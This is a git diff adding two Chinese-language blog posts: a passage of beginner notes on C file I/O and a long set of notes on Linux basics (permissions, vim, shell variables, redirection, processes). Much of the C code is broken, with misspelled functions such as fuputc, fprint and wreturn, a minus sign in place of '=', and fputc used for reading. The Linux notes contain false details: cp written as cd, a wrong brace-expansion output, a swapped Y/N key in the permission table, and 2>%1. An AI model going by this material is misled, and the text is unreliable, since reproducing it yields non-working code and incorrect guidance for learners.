+- 因此，一般是将fopen函数返回值赋给一个指向文件的指针变量。
+
+ ```c
+ FILE *fp; //定义一个文件指针
+ //打开一个文件，"r+"表示可读可写的模式打开
+ fp = fopen("D\\date\\Mystudio\\demo.txt","r+");
+ if(fp==NULL)
+ printf("文件demo打开失败");
+ else
+ printf("文件demo打开成功");
+ fclose(fp); //关闭文件
+ ```
+
+### 2、用fclose关闭文件
+
+- fclose(文件指针);
+
+ ```c
+ fclose(fp);
+ ```
+
+- 如不关闭文件就结束程序可能会丢失数据。
+
+- fclose函数也会返回一个值，当成功执行了关闭为文件操做，返回值为0，否则返回EOF(-1);
+
+## 顺序读写数据文件
+
+### 向文件读写字符
+
+#### 1、fgetc(fp) 从fp指向的文件读入一个字符
+
+- 读成功则返回所读的字符，失败则返回u文件结束标志EOF(-1);
+
+ ```c
+ char c=fgetc(fc);
+ ```
+
+#### 2、fputc(ch.fp); 把字符ch写道文件指针变量fp所指向的文件中
+
+- 输出成功，则返回值就是输出的字符，失败就会返回EOF(-1);
+
+#### 3、feof(fp)函数用来判断文件是否结束
+
+- 如果遇到文件结束，函数feo(fp)的值为非零值，否则为0
+
+```c
+char c;
+c = fuputc(ch.fp)
+while(!feof(fp))
+{
+ printf("%c",c);
+ c = fputc(ch,fp);
+}
+//输出文件中的所有字符
+```
+
+### 向文件读写字符串
+
+#### 1、fgets(str,n,fp)从fp指向的文件读如一个长度为(n-1)的字符串
+
+- 读成功则返回地址str，否则返回NULL;
+
+```c
+FILE *fp;
+char c[15];
+fp = fopen("D:/date/Mystudio/demo.txt","r+");
+fgets(c,15,fp);
+print("%s",c);
+```
+
+#### 2、fputs(str,fp)把str指向的字符串写道文件指针变量fp所指向的文件中
+
+- 输出成功则返回 0 ，否则返回非0值
+
+ ```c
+ FILE *fp;
+ char c[15]={"Hello Linux."};
+ fp = fopen("d/date/Mystdio/demo.txt","r+");
+ fputs(c,fp);
+ ```
+
+### 用格式化方式读写文本
+
+#### fprint(文件指针，格式字符串，输出列表)格式化输出字符
+
+```c
+FILE *fp;
+fp = fopen("D;/date/Mystudio/demo.txt","r+");
+int i =5;
+float f = 6.5;
+fprint(fp,"i = %d,f = %6.2f",i,f);
+```
+
+#### 2、fcanf(文件指针，格式字符串，输出列表)格式化读入字符
+
+```c
+FILE *fp;
+fp - fopen("D:/dete/Mystudio/demo.txt","r+");
+int i;
+float f;
+fscanf(fp,"%d%f",&i,&f);
+printf("%6.2f",i+f);
+```
+
+### 用二进制方式向文件读写一组数据
+
+#### 1、fwrite(butter,size,count,fp);向文件写数据块
+
+| 名字 | 解释 |
+| ------ | -------------- |
+| butter | 地址 |
+| size | 字节数 |
+| count | 要写多少数据块 |
+| fp | FILE类型指针 |
+
+```c
+#include
+#include
+
+struct Student
+{
+ char name[20];
+ char addr[20];
+}s1[3]={
+ {"lingren","Daoqi120"},
+ {"zhongli","liyue100"},
+ {"baerzebu","Daoqi100"},
+};
+int main()
+{
+ FILE *fp;
+ fp = fopen("E:/USERS/桌面文件/test.txt","r+");
+ int i;
+ for(i=0;i<3;i++)
+ fwrite(&s1[i],sizeof(struct Student),1,fp);
+ fclose(fp);
+
+ wreturn 0;
+}
+```
+
+
+
+#### 2、fread(buffer,size,count,fp); 从文件中读数据块
+
+### 五、随机读写数据文件
+
+#### 1、rewind函数 使文件位置标记指向文件开头
+
+#### 2、fseek(文件类型指针，位移量，起始点) 改变文件位置标记
+
+```c
+fseek(fp,0,SEEK_SET); //光标移动到文件开头后往后偏移0个字节的位置
+#include
+#include
+struct Student
+{
+ char name[10];
+ char addr[10];
+}s1[4]={
+ {"lingren","Daoqi120"},
+ {"zhongli","liyue100"},
+ {"baerzebu","Daoqi100"},
+};
+int main()
+{
+ FILE *fp;
+ fp = fopen("E:/USERS/桌面文件/test.txt","r+");
+ int i;
+ for(i=0;i<3;i++)
+ fwrite(&s1[i],sizeof(struct Student),1,fp);
+ fseek(fp,sizeof(struct Student),SEEK_SET);
+ fread(&s1[3],sizeof(struct Student),1,fp);
+ printf("%s,%s",s1[3].name,s1[3].addr);
+ fclose(fp);
+ return 0;
+}
+```
+
+### 六、文件读写出错检测
+
+#### 1、ferror(fp) 检测是否出错
+
+```c
+#include
+int main(void)
+{
+ FILE* fp;
+ fp = fopen("demo.txt","w");
+ fgetc(fp);
+ if (ferror(fp))
+ {
+ printf("读取出错\n");
+ printf("%d\n",ferror(fp));
+ clearerr(fp);
+ printf("%d\n",ferror(fp));
+ }
+ fclose(fp);
+ return 0;
+}
+```
\ No newline at end of file
diff --git a/source/_posts/cloud_linux_1.md b/source/_posts/cloud_linux_1.md
new file mode 100644
index 0000000..7b15702
--- /dev/null
+++ b/source/_posts/cloud_linux_1.md
@@ -0,0 +1,1567 @@
+---
+title: 云计算 - Linux用户基础
+date: 2023-03-19 10:12
+tags: [云计算, 笔记]
+categories: 笔记
+thumbnail: "https://hexoimage.pages.dev/file/2369b0203a6961af7cd62.jpg"
+---
+
+## Linux系统结构
+
+## 操作系统的组成
+
+**Linux系统一般有四个主要部分:内核,shell,文件系统和应用程序.内核,shell和文件系统一起形成了基本的操作系统结构,他使得用户可以运行程序,管理文件并使用系统.**
+
+
+## 内核组成
+
+- [系统调用接口](https://www.atdunbg.xyz/2023/03/19/cloud_linux_1/#jump5)
+- 进程管理
+- 内存管理
+- [虚拟文件系统](https://www.atdunbg.xyz/2023/03/19/cloud_linux_1/#jump6)
+- 网络协议堆栈
+- 硬件驱动
+- 安全
+
+
+
+## 用户程序
+
+> - SHELL(CLI)
+> - 图形化(GUI)
+> - 终端界面(TUI)
+> - 各种服务
+
+## API
+
+- 大多数程序员从来不知道系统调用的细节,他们设计程序主要根据API(Application Programming Interface)
+- API定义了一组可供应用程序使用的函数.
+
+
+
+### 最常见的 API
+
+- [Win32 ](https://learn.microsoft.com/zh-cn/windows/win32/apiindex/api-index-portal)
+- [POSIX API ](https://www.bookstack.cn/read/linuxapi/POSIX-IO)
+- [JAVA API ](https://www.oracle.com/cn/java/technologies/java-se-api-doc.html)
+
+## 系统接口类型
+
+> - 进程控制相关(create peocess,terminate process)
+> - 文件管理相关(create file,delete file,open,close)
+> - 设备管理(request device,release device)
+> - ……
+
+**系统架构**
+
+
+#### 虚拟文件系统
+
+> 虚拟文件系统(VFS)是物理文件系统与服务之间的一个接口层,他对Linux的每一个文件系统的所有细节进行抽象化,使得不同的文件系统在Linux核心以及系统中运行的其他进程看来,都是相同的.
+
+## 开源 && 闭源 && 共享源
+
+
+
+- **开源(open source)是一种促进自由重新分发和自由访问产品设计理念,想法以及实施细节的理念.**
+- **开源软件被发布给开源社区,而闭源软件是由比较小的开发团队隔离开发的.**
+- **开源相对更加安全,BUG和漏洞解决相对比较快.**
+
+### 开源的例子
+
+> - 开源的应用软件:
+> - Chromium
+> - Mozilla firefox
+> - Open office …
+> - 开源的操作系统:
+> - Android
+> - Linux
+> - FreeBSD …
+> - 开源的编程语言:
+> - Perl,php,python,ruby,java …
+
+### 自由软件基金会
+
+- [GNU ](https://www.gnu.org/licenses/): GNU’s Not Unix
+- [FSF ](https://www.fsf.org/): Free Software Foundation
+- [GPL ](https://www.gnu.org/licenses/gpl-3.0.en.html): General Public License
+
+> - **自由软件**
+> - 自由软件,不只是开放源码
+> - 自由软件的敌人是私有软件
+> - 四大自由: 自由使用,修改,复制,发行
+> - **License and copyright**
+> - 有几百种不同的license
+> - 有些license去遵守是有点难度的
+> - GNU GPL说如果被修改,发布的代码也要在GPL下发布,你只能用GPL代码
+> - “copyleft”(非盈利版权)
+> - **自由软件 && 免费软件**
+> - 自由软件不一定免费
+> - 免费软件并不公开源码
+
+### 共享源(Mixed/shared source)
+
+- 介于开源和闭源之间
+
+## Unix 历史
+
+
+
+
+
+> - 第一阶段: 诞生
+
+- 第二阶段(1973年~70年代末):免费扩散
+- 第三阶段(20世纪70年代中期~80年代中期): 商用版本的出现和三大主线的形成
+- 第四阶段(20世纪80年代后期): 两大阵营和标准化
+- 第五阶段(20世纪90年代): 面对外来的竞争,阵营淡化
+
+## Linux 历史
+
+> - **1984: GNU 工程和自由软件基金会**
+> - 创建开源版本的UNIX事业
+> - 创建General Public License
+
+- **软件许可遵循开源规则**
+ - 1991: Linux Torvalds
+ - 创建开源类似 unix 内核的代码,并且发布在GPL下
+
+## Linux 发行版
+
+> - [Red Hat ](https://www.redhat.com/en/technologies/linux-platforms/enterprise-linux)
+
+- [Ubuntu ](https://www.ubuntu.org.cn/global?cp=close)
+- [Debian ](https://www.debian.org/index.zh-cn.html)
+- [Arch ](https://archlinux.org/)
+- [Kali ](https://www.kali.org/)
+- [centos ](https://www.centos.org/)
+
+[**Isoft**](https://www.isoft3.com/)
+
+## linux 终端
+
+### 什么是终端
+
+- **终端是一种输入输出设备,用来让用户输入数据,及显示计算结果的设备.相对于计算机而言,其属于外设,本身不提供运算处理能力.**
+
+
+
+### tty
+
+
+
+切换
+
+- 图像化转到 TTY 的方法: CTRL+ALT+Fn(F2~F6)
+- TTY之间切换: ALT+Fn(F2~F6)
+- TTY切换回图形化界面: ALT+F1
+
+### PTS
+
+
+
+## 用户和组
+
+### 用户和组的含义
+
+#### 用户
+
+> - 每个用户被分配一个独特的用户id号(UID)
+> - UID 0 标识 root 用户
+> - 用户账号通常从UID 500 开始
+
+#### 组
+
+- 用户指派给组
+- 每一个组被分配给一个独特的组ID(gid)
+
+#### 用户和组 ID
+
+- 用户名映射到用户ID数字
+- 组名映射到组ID数字
+- 储存在硬盘上的数据是数字形式储存的.
+
+### Root用户
+
+> - root用户: 一个特定的管理员账号,也被称作超级用户
+
+- root用户几乎可以完全控制系统,它同样也可完全不受限制的损坏系统
+- 正常用户损坏系统的可能性是非常小的
+
+### 系统用户和组
+
+> - 典型的web或者打印服务的服务程序以非特权用户运行,而不是用root用户
+> - 例如: daemon,mail,lp,nobody
+
+- 这种方式运行的程序限制了任何单个程序能够对系统做的危害数量
+
+folding cyan close, 简单的查看用户信息命令
+
+```bash
+useradd user1 #添加一个 user1 用户
+
+passwd user1 #对user1进行设置密码
+
+id user1 #查看user1的id信息
+
+cat /etc/passwd #查看所有用户信息
+
+su - user1 #以root身份创建一个新的shell
+```
+
+endfolding
+
+## 获取帮助
+
+执行命令的方法
+
+- –help
+- man
+
+### 运行命令
+
+> - 命令有着如下的语法
+> - command options arguments
+
+- 项与项之间以空格隔开
+- options修饰一个命令的行为
+ - 单字母选项一般带有”-“,例如:-a,-b,-c,或者-abc
+ - 全字母选项前常带有”–”,例如:–help
+- 参数是一个文件名或者其他被该命令需要的数据
+- 多个命令用”;”进行分隔
+
+> - 多种层次的帮助
+> - [whatis](https://www.atdunbg.xyz/2023/03/19/cloud_linux_1/#whatis)
+> - command -help
+> - [man](https://www.atdunbg.xyz/2023/03/19/cloud_linux_1/#man)
+> - info
+> - /usr/share/doc
+> - 官方网站
+> - Google,baidu
+
+### whatis
+
+whatis是查询一个命令执行什么功能，并把查询结果打印到显示器上。
+
+- 显示命令的简短描述
+- 这些描述储存在数据库中,每晚更新(命令 makewhatis)
+- 在安装完软件后无法马上使用
+
+### man命令
+
+> - 为名提供相关帮助文档
+
+- 几乎所有的命令都有 man “页”
+
+- 页面分成章节,共八章
+
+- 他们统一组成Linux的手册
+
+ ```
+ man []
+ ```
+
+手册位置: **/usr/share/man/**
+
+man章节:
+
+- 第一章: 用户命令
+- 第二章: 系统调用
+- 第三章: 库函数
+- 第四章: 设备文件
+- 第五章: 文本文件格式
+- 第六章: 游戏
+- 第七章: 杂项
+- 第八章: 系统管理工具
+
+> ```
+> man -f 与 whatis结果相同
+> ```
+
+### whereis 命令
+
+whereis命令用于查找文件。
+该指令会在特定目录中查找符合条件的文件。这些文件应属于原始代码、二进制文件，或是帮助文件。
+
+该指令只能用于查找二进制文件、源代码文件和man手册页.
+
+> –help
+
+- 大多数命令都支持
+
+### 解读手册
+
+> - 通过–help,man 和其他命令可显示
+
+- 用来描述一个命令的语法
+ - 在[]中的参数是可以选择的
+ - 大写的参数在<>中表示变量
+ - 文本后面跟随…表示一个列表
+ - x|y|z表示 “x或者y或者z”
+ *-abc表示 “任意-a,-b,或者-c的任意组合”
+
+## SHELl的常用命令
+
+### 改变目录
+
+> - cd 命令改变目录
+
+- 改变到一个绝对或者相对路径
+ - cd /home/sfd/work
+ - cd project/docs
+- 改变到上层目录
+ - cd ..
+- 改变到当前用户的主目录
+ - cd
+- 改变目录到上一个工作目录
+ - cd -
+
+### 显示目录内容
+
+> - 显示当前目录或者指定目录下的内容
+
+- 使用:
+
+ ```
+ ls [options] [files_or_dirs]
+ ```
+
+- 示例:
+
+ - ls -R (递归所有目录)
+ - ls -a (包括隐藏文件)
+ - ls -l (显示拓展信息)
+ - ls -ld (显示目录和符号链接信息)
+
+### 拷贝文件和目录
+
+> - cd -拷贝文件和目录
+
+- 使用
+
+ ```
+ cd [options] file destination
+ ```
+
+- 如果 destination 是一个目录,可以一次拷贝多个文件到这个目录中:
+
+ ```
+ cd [options] file1 file2 destination
+ ```
+
+### 拷贝文件和目录: destination
+
+> - 如果目标是一个目录,该拷贝把文件放到该目录下
+
+- 如果目标是一个文件,该拷贝会覆盖目标文件
+- 如果目标不存在,该拷贝被重命名
+
+### 移动,重命名文件和目录
+
+> - mv -移动或者重命名一个文件或目录
+
+- 使用:
+
+ ```
+ mv [options] file destination
+ ```
+
+- 如果目标是一个目录可以同时移动多个文件:
+
+ ```
+ mv [options] file1 file2 destination
+ ```
+
+- 目标的操作类似 cp
+
+### 创建和删除目录
+
+> - mkdir -创建目录
+
+- rmdir -删除空目录
+
+- touch -创建一个空的文件或者更新一个文件的时间戳
+
+- rm -删除文件
+
+- 使用:
+
+ ```
+ rm [options] ...
+ ```
+
+- 示例:
+
+ - rm -i file (交互式)
+ - rm -r directory (递归)
+ - rm -f file (强制)
+
+## 目录结构
+
+### Linux 文件层次结构
+
+
+
+> - 文件目录组织成单根的倒置树结构
+
+- 文件系统从root目录开始,表示为一个单独的’/‘(斜线)字符
+- 命名大小写敏感
+- 路径以’/‘分隔
+
+### 文件和目录名
+
+> - 名字不能多于255个字符
+
+- 所有字符都要求是有效的,除斜线(/)之外
+ - 不要使用某些特殊的字符在文件或者目录名中
+ - 某些字符应用引号保护起来当引用他们时
+- 命名和大小写敏感
+ - 例如: MAIL,Mail,mail和mAil
+ - Again,possible,but等字符不建议采用
+
+## 绝对和相对路径
+
+> - **绝对路径**
+> - 以斜线开头
+> - 文件位置的全路径
+> - 采用绝对路径可以到处使用
+
+- 相对路径
+ - 不以斜线开头
+ - 当前工作目录的相对位置
+ - 可以通过相对路径方式指定一个文件名
+
+## 一些重要的目录
+
+> - 主目录: /root,/home/username
+
+- 用户可执行的目录: /bin,/usr/sbin,/usr/local/sbin
+- 系统可执行目录: /sbin,/usr/sbin,/usr/local/sbin
+- 配置目录: /etc
+- 临时问及爱你目录: /tmp
+- 内核和引导启动目录: /boot
+- 服务列表: /var,/srv
+- 共享库目录: /bin,/usr/bin,/usr/local/bin
+
+## 程序的组成
+
+> - 二进制程序
+
+- 配置文件
+- 库
+- 数据文件
+- 帮助文件
+
+## 基本权限
+
+### 初识基本权限
+
+> - r -可以查看文件里的内容
+
+- w -可以修改文件里面的内容
+- x -可以运行脚本或者命令
+
+
+
+
+
+| 八进制 | 二进制 | 权限 |
+| ------ | ------ | ----- |
+| 0 | 000 | - - - |
+| 1 | 001 | - -x |
+| 2 | 010 | -w- |
+| 3 | 011 | -wx |
+| 4 | 100 | r- - |
+| 5 | 101 | r-x |
+| 6 | 110 | rw- |
+| 7 | 111 | rwx |
+
+### 设置权限
+
+#### 符号法
+
+> - 基本语法
+>
+> ```
+> chmod [-R] mode file
+> ```
+
+- mode(模式):
+ - u,g或者o表示文件所属用户,组以及其他用户
+ - - 或者 - 表示允许或者禁止
+ - r,w或者x表示读取,写和执行
+- 示例:
+ - ugo + r: 允许所有用户对该文件具有读取权限
+ - o - wx: 禁止其他用户对该文件的写和执行操作
+
+#### 数字法
+
+> - 使用三位数字模式
+> - 第一位数字指定所有者权限
+> - 第二位数字指定所属组权限
+> - 第三位数字指定其他用户的权限
+
+- 权限通过累加的方式来计算:
+
+ - 4(读取) 2 (写) 1 (执行)
+
+- 示例:
+
+ ```
+ chmod 640 myfile
+ ```
+
+### 改变文件所有权
+
+> - 只有root用户能改变一个文件的所有者
+
+- 只有root 用户或者所有者能改变文件的组
+
+- 通过chown命令改变用户所有权
+
+ ```
+ chown [-R] user_name file|directory
+ ```
+
+- 通过chgrp命令改变组所有权
+
+ ```
+ chgrp [-R] group_name file|directory
+ ```
+
+## 基本权限含义
+
+### Linux文件安全
+
+> - 每一个文件都属于一个UID和GID所有
+
+- 任何进程运行时都带有一个uid和一个或多个gid标识符
+ - 通常决定于哪个用户执行这个进程
+
+### 权限有限顺序
+
+- 如果UID匹配,用户权限适用
+- 否则,如果GID匹配,组权限适用
+- 如果都不匹配,其他权限适用
+
+### 权限在目录上面的含义
+
+| 目录名/命令 | cd | ls -l | touch(1) | touch(2) | chmod | rm |
+| ----------- | ---- | ----- | -------- | -------- | ----- | ---- |
+| r- - | N | ? | N | N | N | N |
+| rw- | N | ? | N | N | N | N |
+| r-x | Y | Y | Y | N | Y | N |
+| -w- | N | N | N | N | N | N |
+| -wx | Y | N | Y | Y | Y | Y |
+| - -x | Y | N | Y | N | Y | N |
+| rwx | Y | Y | Y | Y | Y | Y |
+
+note info modern
+注释:
+
+- ?:只能查看文件名,无法查看文件属性
+- N: 可以执行
+- Y: 无法执行
+ endnote
+
+## 基本权限在生产环境下的应用
+
+## Vim编辑器
+
+**概述**
+
+- 使用vi和vim的三种主要模式
+- 浏览文本和进入插入模式
+- 改变,删除文本
+- 撤销更改
+- 搜索一个文档
+- 保存和退出
+
+### vim介绍
+
+> - vi的最新版本,标准的unix文本编辑器
+> - 执行vi的时候会默认运行vim
+
+- Gvim: vim的图形化版本
+ - 提供在vim-x11包里
+- 优点:
+ - 速度: 操作键盘次数减少
+ - 简单: 不依赖鼠标/图形
+ - 可用: 可适应与多种类unix系统
+- 缺点:
+ - 困难:比较陡峭的学习曲线
+ - 着重在于键盘的操作速度
+
+### vim的三种模式
+
+> - vim的模式决定按键的行为
+
+- 三种模式:
+ - 一般模式(缺省): 移动光标,剪切/粘贴文本,改变模式
+ - 插入模式: 修改文本
+ - Ex模式: 保存,退出等
+- Esc见推出当前模式
+- 连续按两次Esc建回到一般模式
+
+### 三种模式的切换
+
+> - [按i字符在光标处开始插入](https://www.atdunbg.xyz/2023/03/19/cloud_linux_1/#charu)
+
+- 进入Ex模式
+
+ - 在屏幕左下角创建一个命令指示符
+ - 常用的写/退出命令
+ - :w : 写(保存)文件到磁盘
+ - :wq : 保存并退出
+ - :q! : 强制退出,不保留最近的修改
+
+- 其他的选项
+
+ - A: 在行尾插入
+ - I: 在行头插入
+ - o: 插入新行(在光标所在行的下边)
+ - O: 插入新行(在光标所在行的上面)
+
+- Vim缺省模式
+
+- 键盘描述动作和文本操作命令
+
+- 以数字开头将重复命令
+
+- 示例:
+
+ - 右方向键 向右移动一个字符
+ - 5,右方向键 表示向右移动5个字符
+
+- 逐字符移动: 方向键,h,j,k,l
+
+ - 在老系统中,非方向键操作对远程连接是非常有用的
+
+- 逐单词移动: w,h
+
+- 逐语句移动: ),(
+
+- 逐段移动: },{
+
+- 跳到行x: xG或者 :x
+
+- 跳到文件尾: G
+
+- 使用/,n,N搜索
+
+- 在sed中搜索/替换
+
+ - 缺省影响当前行
+
+ - 使用x,y界定范围或者使用%针对所有的行
+
+ ```
+ :1,5s/cat/dog/ # 把文件当中第一行到第五行的cat替换为dog
+ :%s/cat/dog/gi # % 针对所有行, g 一行内进行多个匹配进行替换, i 替换时忽略大小写
+ ```
+
+| | 替换 | 剪切 | 拷贝 |
+| ------ | ---- | ---- | ---- |
+| 行 | cc | dd | yy |
+| 字符 | cl | dl | yl |
+| 字 | cw | dw | yw |
+| 句首 | c) | d) | y) |
+| 句尾 | c( | d( | y( |
+| 段上面 | c{ | d{ | y{ |
+| 段下面 | c} | d} | y} |
+
+> - 放置粘贴
+
+- 使用p或者P来放置(粘贴)拷贝或者删除的数据
+- 面向行的数据:
+ - p 防止数据在当前行的下面
+ - P 放置数据在当前行的上面
+- 面向字符的数据
+ - p 放置数据在光标的后面
+ - P 放置数据在光标的前面
+- 撤销改变
+ - u 撤销最近的改变
+ - U 撤销当前行自从光标定位在上面开始的所有改变
+ - Ctrl+r 重做最后一次 “撤销” 改变
+
+## SHELL基础
+
+** Shell 一种特殊的程序,被称为脚本语言,他是用户与unix/Linux系统 “心脏” 之间的接口.**
+
+
+
+### SHELL类型
+
+> - UNIX shell:
+> - Bourne shell,C shell,Korn shell
+
+- Linux shell:
+ - TC shell,Z shell,Bash shell
+
+## Bash shell 历史
+
+> - Bash 是基于Bourne shell 开发的,对于所有的UNIX上的Shell脚本来说,Bash已成为了事实上的标准.
+
+- Bash 全称: Bourne Again shell
+- 开发时间: 1988年
+- 开发作者: Brian Fox
+
+### 时使用的场合
+
+- 常用的命令自动化
+- 执行系统管理和诊断工作
+- 创建简单的应用程序
+- 操作文本或文件
+
+### Bash shell的特点
+
+- GNU项目
+- 包含 UNIX Korn shell 和 C shell 的很多特性
+- 增加了与POSIX的一致性
+- 提供了大量的内置命令和命令行亏快捷方式
+
+### Shell的特性及功能
+
+> - 命令行快捷方式
+> - 命令行和文件名补全
+> - 命令历史
+> - 命令行编辑
+
+- 命令行拓展
+- 通配符(元字符)
+- 别名
+- 变量
+- 标准I/O与重定向
+- 管道
+- 编程基础
+
+## 命令行快捷-文件统配符扩展
+
+> - **通配符拓展**
+>
+> ```
+> * - 匹配0或者多个字符
+> ? - 匹配任意单个字符
+> [0-9] - 匹配0-9范围内的数字
+> [abc] - 匹配该列表内的任意字符
+> [^abc] - 匹配除列表内字符外的所有字符
+> ```
+
+- **Tab键可用来帮助完成命令的输入:**
+
+ - 为命令名,它将完成命令名的输入
+ - 为参数,它将完成文件名的输入
+
+- **命令行快捷-历史**
+
+ - bash保存已经输入过的命令,这些历史命令可以用户来重复使用
+ - 使用history命令可以看到历史命令列表
+
+- **其他的历史命令技巧**
+
+ - 使用up和down键来翻阅以前的命令
+ - 按下Ctrl-r键从历史命令行中搜索命令(反向i搜索)
+ - 从先前的命令中冲调上一个参数
+ - Esx-.(Esc键后跟一点)
+ - Alt-.(当输出点的时候按住Alt键)
+ - !$(仅上一个命令才有效)
+
+- **命令扩展-波形符**
+
+ - 波形符 (~)
+
+ - 可指向你的主目录
+
+ ```
+ $ cat ~/.bash_profile
+ ```
+
+ - 也可指向其他用户的主目录
+
+ ```
+ $ ls ~julie/public_html
+ ```
+
+- **命令扩展-命令和大括号集**
+
+ - 命令扩展: $() 和 ``
+
+ - 输出一个命令作为另外一个命令的参数
+
+ ```
+ $ echo 'This system's name is $(hostname)"
+ This system's name is server1.example.com
+ ```
+
+ - 大括号扩展
+
+ - 重复打印字符串
+
+ ```
+ $ echo file{1,3,5}
+ file1 file2 file3
+ $rm -f file{1,3,5}
+ ```
+
+## shell变量
+
+### 什么是变量?
+
+- 变量是内存中存储一个庶几乎的位置名称
+- 变量赋值: 变量名=值
+
+### 变量命名
+
+- 变量名必须以字母或下划线字符开头,其余的字符可以是字母,数字或下划线字符.
+- 名字时大小写敏感的.给变量赋值时,等号周围不能有任何空白字符.
+
+### 引用变量
+
+**使用$符号来提取储存在变量里的值**
+
+```
+# 设置变量
+bash$ name=sfd或者declare name=sfd
+bash$ echo ${name} 或者echo $name
+
+# 删除变量
+bash$ unset name
+bash$ readonly name huozhe declare -r name
+```
+
+### 变量分类
+
+> - 环境变量
+> - 设置环境变量有以下集中格式
+> - export 变量名=值
+> - 变量名=值;export 变量名
+> - declare -x 变量名=值
+
+- 本地变量(局部变量)
+- 位置变量
+- 特殊变量
+
+**查看变量**
+
+```
+# 查看当前SHELL变量
+set
+
+#查看当前SHELL中的环境变量
+printenv
+env
+export
+```
+
+### 一些常用的变量
+
+> - 配置变量
+> - PS1: bash 提示符的显示
+> - PATH: 查找可执文件的目录
+> - EDITOR: 默认的文本编辑器
+> - HISFILESIZE: 保存在bash历史命令数目
+
+- 信息变量
+ - HOME: 用户的home目录
+ - EUID: 用户的有效UID
+
+## 标准的输入与输出
+
+> - Linux给应用程序提供三种I/O通道
+> - 标准输入(STDIN) - 缺省为键盘
+> - 标准输出STDOUT - 缺省为终端窗口
+> - 标准错误(STDERR) - 缺省为终端窗口
+
+**文件描述符**
+
+> 所有的I/O,包括文件,管道和套接字,都是由内核通过一种名为文件描述符的即使进行管理的.
+
+### 重定向
+
+> - **把文件描述符分配给终端意外的其他对象,就叫做重定向.**
+> - 重定向输入: <
+> - 重定向输出: >
+
+- 追加输出: >>文件名
+- 重定向标准错误输出: 2>文件名
+- 重定向标准输出和错误输出: &>文件名
+- 将标准错误输出重定向到输出: 2>%1
+- 将输出重定向到标准错误输出: 1>&2
+- 使用 << WORD从键盘重定向多行到STDIN
+ - 接受所有标准输入直到输入WORD字符
+ - 有时称作here document
+
+## 管道
+
+> - 管道时Unix/Linux进程间通讯的最古老的形式.管道用于将一条命令的输出传递给另一条命令作为输入.
+> - 管道符号: |
+> - 实例: who | wc
+> - 结合多个工具的功能
+> - command1 | command2 | command3…等
+
+- 重定向到多个目标(tee)
+ - command1 | tee filename | command2
+ - 储存command1的stdout在filename里,然后通过管道传给command2
+- 使用
+ - 故障诊断复杂的管道
+ - 同时查看和记载输出
+
+## Shell特殊元字符
+
+| 元字符 | 含义 |
+| ------ | ------------ |
+| ; | 命令分隔符 |
+| \| | 管道 |
+| < | 输入重定向 |
+| > | 输出重定向 |
+| $ | 变量替换字符 |
+| *[]? | Shell元字符 |
+
+### 引用
+
+> - 引用被用于保护特殊的元字符不被解释和禁止扩展
+
+- 斜线()让下一个字符合法
+ - $echo Your cost: $5.00结果显示:Your cost: $5.00
+- 引号阻止扩展
+ - 单引号( ‘ )抑制所有扩展
+ - 双引号抑制所有扩展,除了:
+ - $ (dollar符号)-变量扩展
+ - `(反引号)-命令替代
+ - \ (斜线)-单个字符的继承
+ - !(叹号)-历史替代
+
+## SHELL编程基础
+
+- 机器语言
+- 汇编语言
+- 高级语言
+ - 编译型语言: C,C++…
+ - 事前编译成可执行格式
+ - 解释型语言: PHP,SHELL,PYTHON,PERL
+ - 边解释边执行
+
+### SHELL脚本
+
+> - Shell脚本由许多命令或者可执行的语句组成的文本文件
+
+- Shell 脚本的用途包括:
+
+ - 常用命令的自动化
+ - 执行系统管理和诊断工作
+ - 创建简单的应用程序
+ - 操作文本或者文件
+
+- 创建SHELL脚本
+
+ - 步骤2:让脚本可执行:
+ - $ chmod u+X myscript.sh
+ - 执行脚本
+ - 把脚本文件放置在-个可执行的路径的目录中或者在命令行指定这个脚本文件的绝对路径或者相对路径
+
+- 条件测试
+
+ - 字符测试
+
+ - =:等于,比如:[“$A”=“$B”]
+
+ - != :不等于
+
+ - < :小于，按ASCII字符排序
+
+ - > :大于
+
+ - -z:字符串长度为”null”
+
+ - -n:字符串长度不为”null”
+
+ - 整数测试
+
+ - -eq:等于
+ - -ne:不等于
+ - -gt:大于
+ - -ge:大于等于
+ - -It:小于
+ - -le:小于等于
+
+ - 文件测试
+
+ - -e FILE:文件存在
+ - -fFILE:这个文件是一个-般文件
+ - -S FILE:这个文件大小不为0
+ - -d FILE :表示这是一个目录
+ - -b FILE :表示这是一个块设备
+ - -C FILE:表示这是一个字符设备
+
+ - 逻辑测试
+
+ - 逻辑与 : &&
+ - 逻辑或: ||
+
+### SHELL之if语句
+
+```
+if表达式;then命令;fi
+
+if表达式;then命令;else命令;fi
+
+
+if 表达式
+then
+ 命令
+elif 命令
+then
+ 命令
+else 命令
+fi
+```
+
+### SHELL之循环语句
+
+> - 三种类型的循环
+>
+> - for循环
+>
+> ```
+> for 变量in值的列表
+> do
+> 命令(组)
+> done
+> ```
+>
+> - while循环
+>
+> ```
+> while 命令
+> do
+> 命令(组)
+> done
+> ```
+>
+> - until循环
+>
+> ```
+> until 命令
+> do
+> 命令(组)
+> done
+> ```
+
+### shift 命令
+
+```
+shift [n] #使指定参数左移n(不填默认为1)次
+```
+
+### break 命令
+
+```
+break [n] #跳出指定循环(未指定默认为1)
+```
+
+### continue 命令
+
+```
+continue [n] # 跳出指定循环(未指定默认为1)
+```
+
+## 进程管理
+
+> 进程是正在执行的一个程序或命令，每个进程都是一个运行的实体，都有自己的地址空间，并占用一定的系统资源。程序是人使用计算机语言编写的可以实现特定目标或解决特定问题的代码集合。
+>
+> 这么讲很难理解，那我们换一种说法。程序是人使用计算机语言编写的，可以实现一定功能，并且可以执行的代码集合。而进程是正在执行中的程序。当程序被执行时，执行人的权限和属性，以及程序的代码都会被加载入内存，操作系统给这个进程分配一个 ID，称为 PID（进程 ID）。
+>
+> 也就是说，在操作系统中，所有可以执行的程序与命令都会产生进程。只是有些程序和命令非常简单，如 ls 命令、touch 命令等，它们在执行完后就会结束，相应的进程也就会终结，所以我们很难捕捉到这些进程。但是还有一些程和命令，比如 httpd 进程，启动之后就会一直驻留在系统当中，我们把这样的进程称作常驻内存进程。
+>
+> 某些进程会产生一些新的进程，我们把这些进程称作子进程，而把这个进程本身称作父进程。比如，我们必须正常登录到 Shell 环境中才能执行系统命令，而 Linux 的标准 Shell 是 bash。我们在 bash 当中执行了 ls 命令，那么 bash 就是父进程，而 ls 命令是在 bash 进程中产生的进程，所以 ls 进程是 bash 进程的子进程。也就是说，子进程是依赖父进程而产生的，如果父进程不存在，那么子进程也不存在了。
+
+### 进程状态
+
+
+
+### ps命令
+
+> - 用ps查看进程信息
+> - 默认显示当前终端进程
+> - a包括所有终端的进程
+> - X包括不属于终端的进程
